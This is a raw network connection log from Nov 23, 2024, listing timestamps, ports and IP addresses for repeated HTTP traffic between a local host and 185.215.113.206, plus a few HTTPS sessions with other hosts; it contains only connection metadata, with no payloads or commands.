Nov 23, 2024 01:14:34.666995049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.667043924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.667057991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.667133093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.667299986 CET	443	49846	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:34.667881966 CET	49846	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:34.667902946 CET	443	49846	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:34.667959929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.668006897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.668020010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.668117046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.668493032 CET	49846	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:34.668498039 CET	443	49846	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:34.668947935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.668998957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.669037104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.669079065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.669903994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.669965029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.669998884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.670036077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.670865059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.670927048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.670958996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.671006918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.671848059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.671904087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.671940088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.672213078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.672826052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.672940969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.672998905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.673794985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.673877954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.673917055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.673958063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.674760103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.674774885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.674829006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.674861908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.675770044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.675911903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.675983906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.676670074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.676728964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.676790953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.677613974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.677670956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.714040995 CET	443	49850	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:34.714577913 CET	49850	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:34.714600086 CET	443	49850	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:34.715109110 CET	49850	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:34.715114117 CET	443	49850	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:34.731583118 CET	443	49848	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:34.731969118 CET	49848	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:34.731988907 CET	443	49848	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:34.732394934 CET	49848	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:34.732399940 CET	443	49848	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:34.752185106 CET	443	49849	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:34.752559900 CET	49849	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:34.752582073 CET	443	49849	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:34.752989054 CET	49849	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:34.752995014 CET	443	49849	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:34.787234068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.787292957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.787334919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.787506104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.787683964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.787740946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.787789106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.787936926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.788675070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.788732052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.788774014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.788830996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.789638042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.789707899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.789742947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.789793968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.790611029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.790656090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.790714025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.790752888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.791589975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.791639090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.791680098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.791774035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.792562962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.792665005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.792676926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.792705059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.793576002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.793698072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.793740988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.794475079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.794538975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.794579983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.794707060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.795459986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.795530081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.795561075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.795931101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.796436071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.796540976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.796593904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.797414064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.797466040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.797507048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.797552109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.798382044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.798434973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.798485994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.799328089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.799375057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.799438000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.799489975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.799640894 CET	443	49847	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:34.799992085 CET	49847	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:34.800026894 CET	443	49847	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:34.800312996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.800354958 CET	49847	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:34.800363064 CET	443	49847	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:34.800364971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.800399065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.800440073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.801268101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.801326990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.801366091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.801460028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.802232981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.802280903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.802340031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.802390099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.803221941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.803333998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.803358078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.803373098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.804198027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.804246902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.804348946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.804390907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.805196047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.805224895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.805249929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.805331945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.806106091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.806164026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.806204081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.806257963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.807121992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.807182074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.807215929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.807257891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.808048964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.808161020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.808182001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.808330059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.809027910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.809155941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.809189081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.809205055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.809999943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.810061932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.810103893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.810250998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.810969114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.811073065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.811077118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.811148882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.811922073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.811980963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.812016964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.812081099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.812897921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.812942028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.813009977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.813091040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.813868999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.813996077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.814002037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.814114094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.814830065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.814878941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.814920902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.814970970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.815819025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.815870047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.815913916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.815960884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.816792965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.816845894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.816850901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.816893101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.817750931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.817827940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.817876101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.817923069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.818742990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.818795919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.858315945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.858397007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.858407021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.858454943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.858756065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.858809948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.858859062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.858900070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.859966040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.860027075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.860066891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.860425949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.860692978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.860840082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.860886097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.861654043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.861753941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.862628937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.862688065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.862729073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.863599062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.863651037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.863691092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.864428043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.864569902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.864706993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.864753008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.865567923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.865652084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.865703106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.866519928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.866570950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.866643906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.866693020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.867476940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.867537975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.867551088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.867599010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.907888889 CET	49862	443	192.168.2.5	23.43.85.20
Nov 23, 2024 01:14:34.907915115 CET	443	49862	23.43.85.20	192.168.2.5
Nov 23, 2024 01:14:34.908099890 CET	49862	443	192.168.2.5	23.43.85.20
Nov 23, 2024 01:14:34.908452034 CET	49863	443	192.168.2.5	23.43.85.20
Nov 23, 2024 01:14:34.908483982 CET	443	49863	23.43.85.20	192.168.2.5
Nov 23, 2024 01:14:34.908638954 CET	49863	443	192.168.2.5	23.43.85.20
Nov 23, 2024 01:14:34.908766985 CET	49862	443	192.168.2.5	23.43.85.20
Nov 23, 2024 01:14:34.908785105 CET	443	49862	23.43.85.20	192.168.2.5
Nov 23, 2024 01:14:34.908948898 CET	49863	443	192.168.2.5	23.43.85.20
Nov 23, 2024 01:14:34.908961058 CET	443	49863	23.43.85.20	192.168.2.5
Nov 23, 2024 01:14:34.915291071 CET	49864	443	192.168.2.5	204.79.197.219
Nov 23, 2024 01:14:34.915324926 CET	443	49864	204.79.197.219	192.168.2.5
Nov 23, 2024 01:14:34.915420055 CET	49864	443	192.168.2.5	204.79.197.219
Nov 23, 2024 01:14:34.915637970 CET	49865	443	192.168.2.5	204.79.197.219
Nov 23, 2024 01:14:34.915713072 CET	443	49865	204.79.197.219	192.168.2.5
Nov 23, 2024 01:14:34.915849924 CET	49865	443	192.168.2.5	204.79.197.219
Nov 23, 2024 01:14:34.915978909 CET	49864	443	192.168.2.5	204.79.197.219
Nov 23, 2024 01:14:34.915993929 CET	443	49864	204.79.197.219	192.168.2.5
Nov 23, 2024 01:14:34.916177988 CET	49865	443	192.168.2.5	204.79.197.219
Nov 23, 2024 01:14:34.916210890 CET	443	49865	204.79.197.219	192.168.2.5
Nov 23, 2024 01:14:34.917025089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.917089939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.917143106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.917213917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.917510033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.917566061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.917574883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.917632103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.927242994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.927298069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.927340984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.927392006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.927747011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.927797079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.927838087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.927944899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.928680897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.928730011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.928833008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.929028988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.929725885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.929744005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.929781914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.929797888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.930634022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.930747032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.930788040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.931588888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.931641102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.931735039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.931811094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.932547092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.932593107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.932703972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.932765007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.933506012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.933553934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.933599949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.933655977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.934536934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.934598923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.934653044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.988316059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.988399982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.988419056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.988709927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.988749027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.988825083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.988966942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.989017010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.989048958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.989089966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.989943981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.990005016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.990045071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.990102053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.990932941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.990988970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.991023064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.991233110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.991867065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.991921902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.991955996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.992053986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.992870092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.992924929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.992944002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.992989063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.993833065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.993885994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.993936062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.993980885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.994792938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.994870901 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.994916916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.995070934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.995769024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.995822906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.995909929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.995951891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.996732950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.996781111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.996841908 CET	80	49760	185.215.113.206	192.168.2.5
